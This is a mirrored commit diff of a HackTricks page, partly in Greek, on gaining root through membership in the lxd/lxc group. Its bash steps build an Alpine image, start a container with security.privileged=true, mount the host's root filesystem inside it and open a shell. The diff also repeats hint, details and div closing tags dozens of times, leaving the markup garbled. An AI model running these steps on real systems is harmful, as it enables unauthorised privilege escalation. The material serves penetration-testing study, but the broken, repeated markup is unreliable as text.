mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
Translated ['linux-hardening/privilege-escalation/interesting-groups-lin
This commit is contained in:
parent
a2a977fd48
commit
7d0cb10eb6
1 changed files with 117 additions and 79 deletions
|
@ -1,8 +1,8 @@
|
|||
# lxd/lxc Group - Privilege escalation
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -14,51 +14,37 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
Αν ανήκετε στην ομάδα _**lxd**_ **ή** _**lxc**_, μπορείτε να γίνετε root
|
||||
|
||||
## Εκμετάλλευση χωρίς ίντερνετ
|
||||
## Exploiting without internet
|
||||
|
||||
### Μέθοδος 1
|
||||
### Method 1
|
||||
|
||||
Μπορείτε να εγκαταστήσετε στον υπολογιστή σας αυτόν τον κατασκευαστή διανομών: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(ακολουθήστε τις οδηγίες του github):
|
||||
```bash
|
||||
sudo su
|
||||
#Install requirements
|
||||
# Install requirements
|
||||
sudo apt update
|
||||
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
|
||||
#Clone repo
|
||||
|
||||
# Clone repo
|
||||
git clone https://github.com/lxc/distrobuilder
|
||||
#Make distrobuilder
|
||||
|
||||
# Make distrobuilder
|
||||
cd distrobuilder
|
||||
make
|
||||
#Prepare the creation of alpine
|
||||
|
||||
# Prepare the creation of alpine
|
||||
mkdir -p $HOME/ContainerImages/alpine/
|
||||
cd $HOME/ContainerImages/alpine/
|
||||
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
|
||||
#Create the container
|
||||
|
||||
# Create the container
|
||||
## Using build-lxd
|
||||
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
|
||||
## Using build-lxc
|
||||
sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18
|
||||
```
|
||||
Ανεβάστε τα αρχεία **lxd.tar.xz** και **rootfs.squashfs**, προσθέστε την εικόνα στο αποθετήριο και δημιουργήστε ένα κοντέινερ:
|
||||
```bash
|
||||
|
@ -88,7 +74,7 @@ lxc exec privesc /bin/sh
|
|||
```
|
||||
### Μέθοδος 2
|
||||
|
||||
Δημιουργήστε μια εικόνα Alpine και ξεκινήστε την χρησιμοποιώντας την επιλογή `security.privileged=true`, αναγκάζοντας το κοντέινερ να αλληλεπιδρά ως root με το σύστημα αρχείων του host.
|
||||
Δημιουργήστε μια εικόνα Alpine και ξεκινήστε την χρησιμοποιώντας τη σημαία `security.privileged=true`, αναγκάζοντας το κοντέινερ να αλληλεπιδρά ως root με το σύστημα αρχείων του host.
|
||||
```bash
|
||||
# build a simple alpine image
|
||||
git clone https://github.com/saghul/lxd-alpine-builder
|
||||
|
@ -108,7 +94,8 @@ lxc init myimage mycontainer -c security.privileged=true
|
|||
# mount the /root into the image
|
||||
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
|
||||
|
||||
{% hint style="success" %}
|
||||
<div data-gb-custom-block data-tag="hint" data-style='success'>
|
||||
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
|
@ -121,52 +108,103 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
{% endhint %}
|
||||
</div>
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
```
|
||||
|
||||
|
|
Loading…
Reference in a new issue